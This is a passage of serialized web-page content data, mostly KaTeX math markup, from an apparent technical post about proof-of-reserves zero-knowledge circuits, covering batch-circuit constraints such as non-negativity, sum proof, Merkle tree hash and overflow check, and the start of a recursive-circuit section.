"tag":153,"props":96130,"children":96132},{"className":96131,"style":95286},[6736],[],{"type":21,"tag":153,"props":96134,"children":96136},{"className":96135},[6742,24280],[96137],{"type":26,"value":29},{"type":21,"tag":153,"props":96139,"children":96141},{"className":96140},[6742,24280],[96142],{"type":26,"value":95335},{"type":21,"tag":153,"props":96144,"children":96146},{"className":96145},[6742,24280],[96147],{"type":26,"value":24422},{"type":21,"tag":153,"props":96149,"children":96151},{"className":96150,"style":95344},[6742],[96152],{"type":26,"value":5834},{"type":21,"tag":153,"props":96154,"children":96156},{"className":96155},[6742,24280],[96157],{"type":26,"value":22},{"type":21,"tag":153,"props":96159,"children":96161},{"className":96160,"style":95344},[6742,24280],[96162],{"type":26,"value":96163},"r",{"type":21,"tag":153,"props":96165,"children":96167},{"className":96166},[6742,24280],[96168],{"type":26,"value":6471},{"type":21,"tag":153,"props":96170,"children":96172},{"className":96171},[6742,24280],[96173],{"type":26,"value":96174},"ces",{"type":21,"tag":153,"props":96176,"children":96178},{"className":96177},[24409],[96179],{"type":26,"value":211},{"type":21,"tag":153,"props":96181,"children":96183},{"className":96182},[6742,24280],[96184],{"type":26,"value":29},{"type":21,"tag":153,"props":96186,"children":96188},{"className":96187},[6742,24280],[96189],{"type":26,"value":95335},{"type":21,"tag":153,"props":96191,"children":96193},{"className":96192},[6742,24280],[96194],{"type":26,"value":24422},{"type":21,"tag":153,"props":96196,"children":96198},{"className":96197,"style":95344},[6742],[96199],{"type":26,"value":5834},{"type":21,"tag":153,"props":96201,"children":96203},{"className":96202},[6742,24280],[96204],{"type":26,"value":58695},{"type":21,"tag":153,"props":96206,"children":96208},{"className":96207},[6742,24280],[96209],{"type":26,"value":95603},{"type":21,"tag":153,"props":96211,"children":96213},{"className":96212},[6742,24280],[96214],{"type":26,"value":53424},{"type":21,"tag":153,"props":96216,"children":96218},{"className":96217},[24431],[96219],{"type":26,"value":350},{"type":21,"tag":91,"props":96221,"children":96222},{},[96223,96382,96383],{"type":21,"tag":78,"props":96224,"children":96226},{"className":96225},[6715,6716],[96227],{"type":21,"tag":153,"props":96228,"children":96230},{"className":96229},[6721],[96231],{"type":21,"tag":153,"props":96232,"children":96234},{"className":96233,"ariaHidden":3294},[6726],[96235,96368],{"type":21,"tag":153,"props":96236,"children":96238},{"className":96237},[6731],[96239,96243,96248,96253,96258,96263,96268,96273,96278,96283,96288,96293,96298,96355,96359,96364],{"type":21,"tag":153,"props":96240,"children":96242},{"className":96241,"style":95789},[6736],[],{"type":21,"tag":153,"props":96244,"children":96246},{"className":96245},[6742,24280],[96247],{"type":26,"value":29},{"type":21,"tag":153,"props":96249,"children":96251},{"className":96250},[6742,24280],[96252],{"type":26,"value":95801},{"type":21,"tag":153,"props":96254,"children":96256},{"className":96255},[6742,24280],[96257],{"type":26,"value":95603},{"type":21,"tag":153,"props":96259,"children":96261},{"className":96260},[6742,24280],[96262],{"type":26,"value":58695},{"type":21,"tag":153,"props":96264,"children":96266},{"className":96265},[6742,24280],[96267],{"type":26,"value":24422},{"type":21,"tag":153,"props":96269,"children":96271},{"className":96270,"style":95344},[6742],[96272],{"type":26,"value":5834},{"type":21,"tag":153,"props":96274,"children":96276},{"className":96275},[6742,24280],[96277],{"type":26,"value":53745},{"type":21,"tag":153,"props":96279,"children":96281},{"className":96280,"style":95830},[6742,24280],[96282],{"type":26,"value":95833},{"type":21,"tag":153,"props":96284,"children":96286},{"className":96285},[6742,24280],[96287],{"type":26,"value":95603},{"type":21,"tag":153,"props":96289,"children":96291},{"className":96290},[6742,24280],[96292],{"type":26,"value":6471},{"type":21,"tag":153,"props":96294,"children":96296},{"className":96295},[6742,24280],[96297],{"type":26,"value":24422},{"type":21,"tag":153,"props":96299,"children":96301},{"className":96300},[6742],[96302,96307],{"type":21,"tag":153,"props":96303,"children":96305},{"className":96304,"style":95830},[6742,24280],[96306],{"type":26,"value":5864},{"type":21,"tag":153,"props":96308,"children":96310},{"className":96309},[6757],[96311],{"type":21,"tag":153,"props":96312,"children":96314},{"className":96313},[6762,24334],[96315,96344],{"type":21,"tag":153,"props":96316,"children":96318},{"className":96317},[6767],[96319,96339],{"type":21,"tag":153,"props":96320,"children":96322},{"className":96321,"style":95873},[6772],[96323],{"type":21,"tag":153,"props":96324,"children":96325},{"style":95877},[96326,96330],{"type":21,"tag":153,"props":96327,"children":96329},{"className":96328,"style":6782},[6781],[],{"type":21,"tag":153,"props":96331,"children":96333},{"className":96332},[6787,6788,6789,6790],[96334],{"type":21,"tag":153,"props":96335,"children":96337},{"className":96336},[6742,24280,6790],[96338],{"type":26,"value":6471},{"type":21,"tag":153,"props":96340,"children":96342},{"className":96341},[24437],[96343],{"type":26,"value":24440},{"type":21,"tag":153,"props":96345,"children":96347},{"className":96346},[6767],[96348],{"type":21,"tag":153,"props":96349,"children":96351},{"className":96350,"style":95427},[6772],[96352],{"type":21,"tag":153,"props":96353,"children":96354},{},[],{"type":21,"tag":153,"props":96356,"children":96358},{"className":96357,"style":6918},[6820],[],{"type":21,"tag":153,"props":96360,"children":96362},{"className":96361},[6923],[96363],{"type":26,"value":12664},{"type":21,"tag":153,"props":96365,"children":96367},{"className":96366,"style":6918},[6820],[],{"type":21,"tag":153,"props":96369,"children":96371},{"className":96370},[6731],[96372,96377],{"type":21,"tag":153,"props":96373,"children":96376},{"className":96374,"style":96375},[6736],"height:0.6444em;",[],{"type":21,"tag":153,"props":96378,"children":96380},{"className":96379},[6742],[96381],{"type":26,"value":2996},{"type":26,"value":9187},{"type":21,"tag":8055,"props":96384,"children":96385},{},[96386],{"type":26,"value":96387},"(non-negativity)",{"type":21,"tag":91,"props":96389,"children":96390},{},[96391,96729,96730],{"type":21,"tag":78,"props":96392,"children":96394},{"className":96393},[6715,6716],[96395],{"type":21,"tag":153,"props":96396,"children":96398},{"className":96397},[6721],[96399],{"type":21,"tag":153,"props":96400,"children":96402},{"className":96401,"ariaHidden":3294},[6726],[96403,96539],{"type":21,"tag":153,"props":96404,"children":96406},{"className":96405},[6731],[96407,96411,96416,96421,96426,96431,96436,96441,96446,96451,96456,96461,96466,96471,96476,96481,96486,96491,96496,96501,96506,96511,96516,96521,96526,96530,96535],{"type":21,"tag":153,"props":96408,"children":96410},{"className":96409,"style":95286},[6736],[],{"type":21,"tag":153,"props":96412,"children":96414},{"className":96413},[6742,24280],[96415],{"type":26,"value":24422},{"type":21,"tag":153,"props":96417,"children":96419},{"className":96418},[6742,24280],[96420],{"type":26,"value":95314},{"type":21,"tag":153,"props":96422,"children":96424},{"className":96423},[6742,24280],[96425],{"type":26,"value":24422},{"type":21,"tag":153,"props":96427,"children":96429},{"className":96428},[6742,24280],[96430],{"type":26,"value":29},{"type":21,"tag":153,"props":96432,"children":96434},{"className":96433,"style":95356},[6742,24280],[96435],{"type":26,"value":95359},{"type":21,"tag":153,"props":96437,"children":96439},{"className":96438,"style":95344},[6742],[96440],{"type":26,"value":5834},{"type":21,"tag":153,"props":96442,"children":96444},{"className":96443},[6742,24280],[96445],{"type":26,"value":29},{"type":21,"tag":153,"props":96447,"children":96449},{"className":96448},[6742,24280],[96450],{"type":26,"value":95335},{"type":21,"tag":153,"props":96452,"children":96454},{"className":96453},[6742,24280],[96455],{"type":26,"value":24422},{"type":21,"tag":153,"props":96457,"children":96459},{"className":96458,"style":95344},[6742],[96460],{"type":26,"value":5834},{"type":21,"tag":153,"props":96462,"children":96464},{"className":96463},[6742,24280],[96465],{"type":26,"value":95352},{"type":21,"tag":153,"props":96467,"children":96469},{"className":96468,"style":95356},[6742,24280],[96470],{"type":26,"value":95359},{"type":21,"tag":153,"props":96472,"children":96474},{"className":96473},[6742,24280],[96475],{"type":26,"value":95365},{"type":21,"tag":153,"props":96477,"children":96479},{"className":96478},[6742,24280],[96480],{"type":26,"value":95371},{"type":21,"tag":153,"props":96482,"children":96484},{"className":96483},[24409],[96485],{"type":26,"value":211},{"type":21,"tag":153,"props":96487,"children":96489},{"className":96488},[6742,24280],[96490],{"type":26,"value":29},{"type":21,"tag":153,"props":96492,"children":96494},{"className":96493},[6742,24280],[96495],{"type":26,"value":95335},{"type":21,"tag":153,"props":96497,"children":96499},{"className":96498},[6742,24280],[96500],{"type":26,"value":24422},{"type":21,"tag":153,"props":96502,"children":96504},{"className":96503,"style":95344},[6742],[96505],{"type":26,"value":5834},{"type":21,"tag":153,"props":96507,"children":96509},{"className":96508},[6742,24280],[96510],{"type":26,"value":58695},{"type":21,"tag":153,"props":96512,"children":96514},{"className":96513},[6742,24280],[96515],{"type":26,"value":95603},{"type":21,"tag":153,"props":96517,"children":96519},{"className":96518},[6742,24280],[96520],{"type":26,"value":53424},{"type":21,"tag":153,"props":96522,"children":96524},{"className":96523},[24431],[96525],{"type":26,"value":350},{"type":21,"tag":153,"props":96527,"children":96529},{"className":96528,"style":6918},[6820],[],{"type":21,"tag":153,"props":96531,"children":96533},{"className":96532},[6923],[96534],{"type":26,"value":1694},{"type":21,"tag":153,"props":96536,"children":96538},{"className":96537,"style":6918},[6820],[],{"type":21,"tag":153,"props":96540,"children":96542},{"className":96541},[6731],[96543,96547,96552,96557,96562,96567,96572,96577,96582,96587,96592,96597,96602,96607,96612,96617,96622,96627,96684,96689,96694,96699,96704,96709,96714,96719,96724],{"type":21,"tag":153,"props":96544,"children":96546},{"className":96545,"style":95286},[6736],[],{"type":21,"tag":153,"props":96548,"children":96550},{"className":96549},[6742],[96551],{"type":26,"value":95934},{"type":21,"tag":153,"props":96553,"children":96555},{"className":96554},[6820],[96556],{"type":26,"value":24381},{"type":21,"tag":153,"props":96558,"children":96560},{"className":96559},[6742,24280],[96561],{"type":26,"value":29},{"type":21,"tag":153,"props":96563,"children":96565},{"className":96564},[6742,24280],[96566],{"type":26,"value":95801},{"type":21,"tag":153,"props":96568,"children":96570},{"className":96569},[6742,24280],[96571],{"type":26,"value":95603},{"type":21,"tag":153,"props":96573,"children":96575},{"className":96574},[6742,24280],[96576],{"type":26,"value":58695},{"type":21,"tag":153,"props":96578,"children":96580},{"className":96579},[6742,24280],[96581],{"type":26,"value":24422},{"type":21,"tag":153,"props":96583,"children":96585},{"className":96584,"style":95344},[6742],[96586],{"type":26,"value":5834},{"type":21,"tag":153,"props":96588,"children":96590},{"className":96589},[6742,24280],[96591],{"type":26,"value":29},{"type":21,"tag":153,"props":96593,"children":96595},{"className":96594},[6742,24280],[96596],{"type":26,"value":95335},{"type":21,"tag":153,"props":96598,"children":96600},{"className":96599},[6742,24280],[96601],{"type":26,"value":24422},{"type":21,"tag":153,"props":96603,"children":96605},{"className":96604,"style":95344},[6742],[96606],{"type":26,"value":5834},{"type":21,"tag":153,"props":96608,"children":96610},{"className":96609},[6742,24280],[96611],{"type":26,"value":95352},{"type":21,"tag":153,"props":96613,"children":96615},{"className":96614,"style":95356},[6742,24280],[96616],{"type":26,"value":95359},{"type":21,"tag":153,"props":96618,"children":96620},{"className":96619},[6742,24280],[96621],{"type":26,"value":95365},{"type":21,"tag":153,"props":96623,"children":96625},{"className":96624},[6742,24280],[96626],{"type":26,"value":95371},{"type":21,"tag":153,"props":96628,"children":96630},{"className":96629},[6742],[96631,96636],{"type":21,"tag":153,"props":96632,"children":96634},{"className":96633},[6742,24280],[96635],{"type":26,"value":13372},{"type":21,"tag":153,"props":96637,"children":96639},{"className":96638},[6757],[96640],{"type":21,"tag":153,"props":96641,"children":96643},{"className":96642},[6762,24334],[96644,96673],{"type":21,"tag":153,"props":96645,"children":96647},{"className":96646},[6767],[96648,96668],{"type":21,"tag":153,"props":96649,"children":96651},{"className":96650,"style":95873},[6772],[96652],{"type":21,"tag":153,"props":96653,"children":96654},{"style":95400},[96655,96659],{"type":21,"tag":153,"props":96656,"children":96658},{"className":96657,"style":6782},[6781],[],{"type":21,"tag":153,"props":96660,"children":96662},{"className":96661},[6787,6788,6789,6790],[96663],{"type":21,"tag":153,"props":96664,"children":96666},{"className":96665},[6742,24280,6790],[96667],{"type":26,"value":6471},{"type":21,"tag":153,"props":96669,"children":96671},{"className":96670},[24437],[96672],{"type":26,"value":24440},{"type":21,"tag":153,"props":96674,"children":96676},{"className":96675},[6767],[96677],{"type":21,"tag":153,"props":96678,"children":96680},{"className":96679,"style":95427},[6772],[96681],{"type":21,"tag":153,"props":96682,"children":96683},{},[],{"type":21,"tag":153,"props":96685,"children":96687},{"className":96686},[24409],[96688],{"type":26,"value":211},{"type":21,"tag":153,"props":96690,"children":96692},{"className":96691},[6742,24280],[96693],{"type":26,"value":29},{"type":21,"tag":153,"props":96695,"children":96697},{"className":96696},[6742,24280],[96698],{"type":26,"value":95335},{"type":21,"tag":153,"props":96700,"children":96702},{"className":96701},[6742,24280],[96703],{"type":26,"value":24422},{"type":21,"tag":153,"props":96705,"children":96707},{"className":96706,"style":95344},[6742],[96708],{"type":26,"value":5834},{"type":21,"tag":153,"props":96710,"children":96712},{"className":96711},[6742,24280],[96713],{"type":26,"value":58695},{"type":21,"tag":153,"props":96715,"children":96717},{"className":96716},[6742,24280],[96718],{"type":26,"value":95603},{"type":21,"tag":153,"props":96720,"children":96722},{"className":96721},[6742,24280],[96723],{"type":26,"value":53424},{"type":21,"tag":153,"props":96725,"children":96727},{"className":96726},[24431],[96728],{"type":26,"value":350},{"type":26,"value":9187},{"type":21,"tag":8055,"props":96731,"children":96732},{},[96733],{"type":26,"value":96734},"(sum proof)",{"type":21,"tag":91,"props":96736,"children":96737},{},[96738,97127,97128],{"type":21,"tag":78,"props":96739,"children":96741},{"className":96740},[6715,6716],[96742],{"type":21,"tag":153,"props":96743,"children":96745},{"className":96744},[6721],[96746],{"type":21,"tag":153,"props":96747,"children":96749},{"className":96748,"ariaHidden":3294},[6726],[96750,96836],{"type":21,"tag":153,"props":96751,"children":96753},{"className":96752},[6731],[96754,96759,96764,96770,96776,96781,96786,96791,96796,96802,96807,96813,96818,96823,96827,96832],{"type":21,"tag":153,"props":96755,"children":96758},{"className":96756,"style":96757},[6736],"height:1.0044em;vertical-align:-0.31em;",[],{"type":21,"tag":153,"props":96760,"children":96762},{"className":96761},[6742,24280],[96763],{"type":26,"value":53424},{"type":21,"tag":153,"props":96765,"children":96767},{"className":96766,"style":95344},[6742,24280],[96768],{"type":26,"value":96769},"er",{"type":21,"tag":153,"props":96771,"children":96774},{"className":96772,"style":96773},[6742,24280],"margin-right:0.03148em;",[96775],{"type":26,"value":90981},{"type":21,"tag":153,"props":96777,"children":96779},{"className":96778,"style":95356},[6742,24280],[96780],{"type":26,"value":95359},{"type":21,"tag":153,"props":96782,"children":96784},{"className":96783},[6742,24280],[96785],{"type":26,"value":53745},{"type":21,"tag":153,"props":96787,"children":96789},{"className":96788,"style":95344},[6742],[96790],{"type":26,"value":5834},{"type":21,"tag":153,"props":96792,"children":96794},{"className":96793},[6742,24280],[96795],{"type":26,"value":24422},{"type":21,"tag":153,"props":96797,"children":96799},{"className":96798},[6742,24280],[96800],{"type":26,"value":96801},"ree",{"type":21,"tag":153,"props":96803,"children":96805},{"className":96804,"style":95344},[6742],[96806],{"type":26,"value":5834},{"type":21,"tag":153,"props":96808,"children":96810},{"className":96809},[6742,24280],[96811],{"type":26,"value":96812},"ha",{"type":21,"tag":153,"props":96814,"children":96816},{"className":96815},[6742,24280],[96817],{"type":26,"value":13372},{"type":21,"tag":153,"props":96819,"children":96821},{"className":96820},[6742,24280],[96822],{"type":26,"value":86642},{"type":21,"tag":153,"props":96824,"children":96826},{"className":96825,"style":6918},[6820],[],{"type":21,"tag":153,"props":96828,"children":96830},{"className":96829},[6923],[96831],{"type":26,"value":1694},{"type":21,"tag":153,"props":96833,"children":96835},{"className":96834,"style":6918},[6820],[],{"type":21,"tag":153,"props":96837,"children":96839},{"className":96838},[6731],[96840,96844,96849,96854,96859,96864,96869,96874,96879,96884,96889,96946,96951,96955,96960,96965,97022,97027,97032,97036,97041,97046,97050,97055,97060,97122],{"type":21,"tag":153,"props":96841,"children":96843},{"className":96842,"style":6841},[6736],[],{"type":21,"tag":153,"props":96845,"children":96847},{"className":96846,"style":24281},[6742,24280],[96848],{"type":26,"value":24284},{"type":21,"tag":153,"props":96850,"children":96852},{"className":96851},[6742,24280],[96853],{"type":26,"value":95298},{"type":21,"tag":153,"props":96855,"children":96857},{"className":96856},[6742,24280],[96858],{"type":26,"value":6471},{"type":21,"tag":153,"props":96860,"children":96862},{"className":96861},[6742,24280],[96863],{"type":26,"value":72859},{"type":21,"tag":153,"props":96865,"children":96867},{"className":96866},[6742,24280],[96868],{"type":26,"value":95314},{"type":21,"tag":153,"props":96870,"children":96872},{"className":96871},[6742,24280],[96873],{"type":26,"value":58695},{"type":21,"tag":153,"props":96875,"children":96877},{"className":96876},[24409],[96878],{"type":26,"value":189},{"type":21,"tag":153,"props":96880,"children":96882},{"className":96881},[6742,24280],[96883],{"type":26,"value":96812},{"type":21,"tag":153,"props":96885,"children":96887},{"className":96886},[6742,24280],[96888],{"type":26,"value":13372},{"type":21,"tag":153,"props":96890,"children":96892},{"className":96891},[6742],[96893,96898],{"type":21,"tag":153,"props":96894,"children":96896},{"className":96895},[6742,24280],[96897],{"type":26,"value":86642},{"type":21,"tag":153,"props":96899,"children":96901},{"className":96900},[6757],[96902],{"type":21,"tag":153,"props":96903,"children":96905},{"className":96904},[6762,24334],[96906,96935],{"type":21,"tag":153,"props":96907,"children":96909},{"className":96908},[6767],[96910,96930],{"type":21,"tag":153,"props":96911,"children":96913},{"className":96912,"style":95396},[6772],[96914],{"type":21,"tag":153,"props":96915,"children":96916},{"style":95400},[96917,96921],{"type":21,"tag":153,"props":96918,"children":96920},{"className":96919,"style":6782},[6781],[],{"type":21,"tag":153,"props":96922,"children":96924},{"className":96923},[6787,6788,6789,6790],[96925],{"type":21,"tag":153,"props":96926,"children":96928},{"className":96927},[6742,6790],[96929],{"type":26,"value":2996},{"type":21,"tag":153,"props":96931,"children":96933},{"className":96932},[24437],[96934],{"type":26,"value":24440},{"type":21,"tag":153,"props":96936,"children":96938},{"className":96937},[6767],[96939],{"type":21,"tag":153,"props":96940,"children":96942},{"className":96941,"style":95427},[6772],[96943],{"type":21,"tag":153,"props":96944,"children":96945},{},[],{"type":21,"tag":153,"props":96947,"children":96949},{"className":96948},[6852],[96950],{"type":26,"value":6855},{"type":21,"tag":153,"props":96952,"children":96954},{"className":96953,"style":6859},[6820],[],{"type":21,"tag":153,"props":96956,"children":96958},{"className":96957},[6742,24280],[96959],{"type":26,"value":96812},{"type":21,"tag":153,"props":96961,"children":96963},{"className":96962},[6742,24280],[96964],{"type":26,"value":13372},{"type":21,"tag":153,"props":96966,"children":96968},{"className":96967},[6742],[96969,96974],{"type":21,"tag":153,"props":96970,"children":96972},{"className":96971},[6742,24280],[96973],{"type":26,"value":86642},{"type":21,"tag":153,"props":96975,"children":96977},{"className":96976},[6757],[96978],{"type":21,"tag":153,"props":96979,"children":96981},{"className":96980},[6762,24334],[96982,97011],{"type":21,"tag":153,"props":96983,"children":96985},{"className":96984},[6767],[96986,97006],{"type":21,"tag":153,"props":96987,"children":96989},{"className":96988,"style":95396},[6772],[96990],{"type":21,"tag":153,"props":96991,"children":96992},{"style":95400},[96993,96997],{"type":21,"tag":153,"props":96994,"children":96996},{"className":96995,"style":6782},[6781],[],{"type":21,"tag":153,"props":96998,"children":97000},{"className":96999},[6787,6788,6789,6790],[97001],{"type":21,"tag":153,"props":97002,"children":97004},{"className":97003},[6742,6790],[97005],{"type":26,"value":3033},{"type":21,"tag":153,"props":97007,"children":97009},{"className":97008},[24437],[97010],{"type":26,"value":24440},{"type":21,"tag":153,"props":97012,"children":97014},{"className":97013},[6767],[97015],{"type":21,"tag":153,"props":97016,"children":97018},{"className":97017,"style":95427},[6772],[97019],{"type":21,"tag":153,"props":97020,"children":97021},{},[],{"type":21,"tag":153,"props":97023,"children":97025},{"className":97024},[6852],[97026],{"type":26,"value":6855},{"type":21,"tag":153,"props":97028,"children":97030},{"className":97029},[6820],[97031],{"type":26,"value":24381},{"type":21,"tag":153,"props":97033,"children":97035},{"className":97034,"style":6859},[6820],[],{"type":21,"tag":153,"props":97037,"children":97039},{"className":97038},[6742],[97040],{"type":26,"value":12313},{"type":21,"tag":153,"props":97042,"children":97044},{"className":97043},[6852],[97045],{"type":26,"value":6855},{"type":21,"tag":153,"props":97047,"children":97049},{"className":97048,"style":6859},[6820],[],{"type":21,"tag":153,"props":97051,"children":97053},{"className":97052},[6742,24280],[97054],{"type":26,"value":96812},{"type":21,"tag":153,"props":97056,"children":97058},{"className":97057},[6742,24280],[97059],{"type":26,"value":13372},{"type":21,"tag":153,"props":97061,"children":97063},{"className":97062},[6742],[97064,97069],{"type":21,"tag":153,"props":97065,"children":97067},{"className":97066},[6742,24280],[97068],{"type":26,"value":86642},{"type":21,"tag":153,"props":97070,"children":97072},{"className":97071},[6757],[97073],{"type":21,"tag":153,"props":97074,"children":97076},{"className":97075},[6762,24334],[97077,97111],{"type":21,"tag":153,"props":97078,"children":97080},{"className":97079},[6767],[97081,97106],{"type":21,"tag":153,"props":97082,"children":97084},{"className":97083,"style":95396},[6772],[97085],{"type":21,"tag":153,"props":97086,"children":97087},{"style":95400},[97088,97092],{"type":21,"tag":153,"props":97089,"children":97091},{"className":97090,"style":6782},[6781],[],{"type":21,"tag":153,"props":97093,"children":97095},{"className":97094},[6787,6788,6789,6790],[97096],{"type":21,"tag":153,"props":97097,"children":97099},{"className":97098},[6742,6790],[97100],{"type":21,"tag":153,"props":97101,"children":97103},{"className":97102},[6742,6790],[97104],{"type":26,"value":97105},"511",{"type":21,"tag":153,"props":97107,"children":97109},{"className":97108},[24437],[97110],{"type":26,"value":24440},{"type":21,"tag":153,"props":97112,"children":97114},{"className":97113},[6767],[97115],{"type":21,"tag":153,"props":97116,"children":97118},{"className":97117,"style":95427},[6772],[97119],{"type":21,"tag":153,"props":97120,"children":97121},{},[],{"type":21,"tag":153,"props":97123,"children":97125},{"className":97124},[24431],[97126],{"type":26,"value":2071},{"type":26,"value":9187},{"type":21,"tag":8055,"props":97129,"children":97130},{},[97131],{"type":26,"value":97132},"(merkle tree hash)",{"type":21,"tag":91,"props":97134,"children":97135},{},[97136,97411,97412,97417,97419,97424],{"type":21,"tag":78,"props":97137,"children":97139},{"className":97138},[6715,6716],[97140],{"type":21,"tag":153,"props":97141,"children":97143},{"className":97142},[6721],[97144],{"type":21,"tag":153,"props":97145,"children":97147},{"className":97146,"ariaHidden":3294},[6726],[97148,97341],{"type":21,"tag":153,"props":97149,"children":97151},{"className":97150},[6731],[97152,97156,97161,97166,97171,97176,97181,97186,97191,97196,97201,97206,97211,97216,97221,97226,97283,97288,97293,97298,97303,97308,97313,97318,97323,97328,97332,97337],{"type":21,"tag":153,"props":97153,"children":97155},{"className":97154,"style":95286},[6736],[],{"type":21,"tag":153,"props":97157,"children":97159},{"className":97158},[6742,24280],[97160],{"type":26,"value":29},{"type":21,"tag":153,"props":97162,"children":97164},{"className":97163},[6742,24280],[97165],{"type":26,"value":95801},{"type":21,"tag":153,"props":97167,"children":97169},{"className":97168},[6742,24280],[97170],{"type":26,"value":95603},{"type":21,"tag":153,"props":97172,"children":97174},{"className":97173},[6742,24280],[97175],{"type":26,"value":58695},{"type":21,"tag":153,"props":97177,"children":97179},{"className":97178},[6742,24280],[97180],{"type":26,"value":24422},{"type":21,"tag":153,"props":97182,"children":97184},{"className":97183,"style":95344},[6742],[97185],{"type":26,"value":5834},{"type":21,"tag":153,"props":97187,"children":97189},{"className":97188},[6742,24280],[97190],{"type":26,"value":29},{"type":21,"tag":153,"props":97192,"children":97194},{"className":97193},[6742,24280],[97195],{"type":26,"value":95335},{"type":21,"tag":153,"props":97197,"children":97199},{"className":97198},[6742,24280],[97200],{"type":26,"value":24422},{"type":21,"tag":153,"props":97202,"children":97204},{"className":97203,"style":95344},[6742],[97205],{"type":26,"value":5834},{"type":21,"tag":153,"props":97207,"children":97209},{"className":97208},[6742,24280],[97210],{"type":26,"value":95352},{"type":21,"tag":153,"props":97212,"children":97214},{"className":97213,"style":95356},[6742,24280],[97215],{"type":26,"value":95359},{"type":21,"tag":153,"props":97217,"children":97219},{"className":97218},[6742,24280],[97220],{"type":26,"value":95365},{"type":21,"tag":153,"props":97222,"children":97224},{"className":97223},[6742,24280],[97225],{"type":26,"value":95371},{"type":21,"tag":153,"props":97227,"children":97229},{"className":97228},[6742],[97230,97235],{"type":21,"tag":153,"props":97231,"children":97233},{"className":97232},[6742,24280],[97234],{"type":26,"value":13372},{"type":21,"tag":153,"props":97236,"children":97238},{"className":97237},[6757],[97239],{"type":21,"tag":153,"props":97240,"children":97242},{"className":97241},[6762,24334],[97243,97272],{"type":21,"tag":153,"props":97244,"children":97246},{"className":97245},[6767],[97247,97267],{"type":21,"tag":153,"props":97248,"children":97250},{"className":97249,"style":95873},[6772],[97251],{"type":21,"tag":153,"props":97252,"children":97253},{"style":95400},[97254,97258],{"type":21,"tag":153,"props":97255,"children":97257},{"className":97256,"style":6782},[6781],[],{"type":21,"tag":153,"props":97259,"children":97261},{"className":97260},[6787,6788,6789,6790],[97262],{"type":21,"tag":153,"props":97263,"children":97265},{"className":97264},[6742,24280,6790],[97266],{"type":26,"value":6471},{"type":21,"tag":153,"props":97268,"children":97270},{"className":97269},[24437],[97271],{"type":26,"value":24440},{"type":21,"tag":153,"props":97273,"children":97275},{"className":97274},[6767],[97276],{"type":21,"tag":153,"props":97277,"children":97279},{"className":97278,"style":95427},[6772],[97280],{"type":21,"tag":153,"props":97281,"children":97282},{},[],{"type":21,"tag":153,"props":97284,"children":97286},{"className":97285},[24409],[97287],{"type":26,"value":211},{"type":21,"tag":153,"props":97289,"children":97291},{"className":97290},[6742,24280],[97292],{"type":26,"value":29},{"type":21,"tag":153,"props":97294,"children":97296},{"className":97295},[6742,24280],[97297],{"type":26,"value":95335},{"type":21,"tag":153,"props":97299,"children":97301},{"className":97300},[6742,24280],[97302],{"type":26,"value":24422},{"type":21,"tag":153,"props":97304,"children":97306},{"className":97305,"style":95344},[6742],[97307],{"type":26,"value":5834},{"type":21,"tag":153,"props":97309,"children":97311},{"className":97310},[6742,24280],[97312],{"type":26,"value":58695},{"type":21,"tag":153,"props":97314,"children":97316},{"className":97315},[6742,24280],[97317],{"type":26,"value":95603},{"type":21,"tag":153,"props":97319,"children":97321},{"className":97320},[6742,24280],[97322],{"type":26,"value":53424},{"type":21,"tag":153,"props":97324,"children":97326},{"className":97325},[24431],[97327],{"type":26,"value":350},{"type":21,"tag":153,"props":97329,"children":97331},{"className":97330,"style":6918},[6820],[],{"type":21,"tag":153,"props":97333,"children":97335},{"className":97334},[6923],[97336],{"type":26,"value":8537},{"type":21,"tag":153,"props":97338,"children":97340},{"className":97339,"style":6918},[6820],[],{"type":21,"tag":153,"props":97342,"children":97344},{"className":97343},[6731],[97345,97349,97356,97361,97367,97372,97377,97382,97388,97393,97399,97405],{"type":21,"tag":153,"props":97346,"children":97348},{"className":97347,"style":95286},[6736],[],{"type":21,"tag":153,"props":97350,"children":97353},{"className":97351,"style":97352},[6742,24280],"margin-right:0.10903em;",[97354],{"type":26,"value":97355},"M",{"type":21,"tag":153,"props":97357,"children":97359},{"className":97358},[6742,24280],[97360],{"type":26,"value":79064},{"type":21,"tag":153,"props":97362,"children":97365},{"className":97363,"style":97364},[6742,24280],"margin-right:0.07847em;",[97366],{"type":26,"value":8862},{"type":21,"tag":153,"props":97368,"children":97370},{"className":97369,"style":95344},[6742],[97371],{"type":26,"value":5834},{"type":21,"tag":153,"props":97373,"children":97375},{"className":97374,"style":24739},[6742,24280],[97376],{"type":26,"value":24742},{"type":21,"tag":153,"props":97378,"children":97380},{"className":97379},[6742,24280],[97381],{"type":26,"value":79064},{"type":21,"tag":153,"props":97383,"children":97385},{"className":97384,"style":24739},[6742,24280],[97386],{"type":26,"value":97387},"FE",{"type":21,"tag":153,"props":97389,"children":97391},{"className":97390,"style":95344},[6742],[97392],{"type":26,"value":5834},{"type":21,"tag":153,"props":97394,"children":97396},{"className":97395,"style":97364},[6742,24280],[97397],{"type":26,"value":97398},"I",{"type":21,"tag":153,"props":97400,"children":97402},{"className":97401,"style":24281},[6742,24280],[97403],{"type":26,"value":97404},"NT",{"type":21,"tag":153,"props":97406,"children":97408},{"className":97407},[6742],[97409],{"type":26,"value":97410},"/512",{"type":26,"value":9187},{"type":21,"tag":8055,"props":97413,"children":97414},{},[97415],{"type":26,"value":97416},"(overflow check)",{"type":26,"value":97418}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":21,"tag":78,"props":97420,"children":97422},{"className":97421},[],[97423],{"type":26,"value":95202},{"type":26,"value":2071},{"type":21,"tag":22,"props":97426,"children":97427},{},[97428],{"type":26,"value":97429},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":21,"tag":22,"props":97431,"children":97432},{},[97433],{"type":21,"tag":3644,"props":97434,"children":97436},{"alt":52869,"src":97435},"/posts/por/batch-circuit-inputs.png",[],{"type":21,"tag":114,"props":97438,"children":97440},{"id":97439},"recursive-circuit",[97441],{"type":26,"value":97442},"Recursive Circuit",{"type":21,"tag":22,"props":97444,"children":97445},{},[97446],{"type":26,"value":97447},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":21,"tag":22,"props":97449,"children":97450},{},[97451],{"type":21,"tag":8055,"props":97452,"children":97453},{},[97454],{"type":26,"value":95716},{"type":21,"tag":87,"props":97456,"children":97457},{},[97458,97462,97467],{"type":21,"tag":91,"props":97459,"children":97460},{},[97461],{"type":26,"value":95734},{"type":21,"tag":91,"props":97463,"children":97464},{},[97465],{"type":26,"value":97466},"Asset 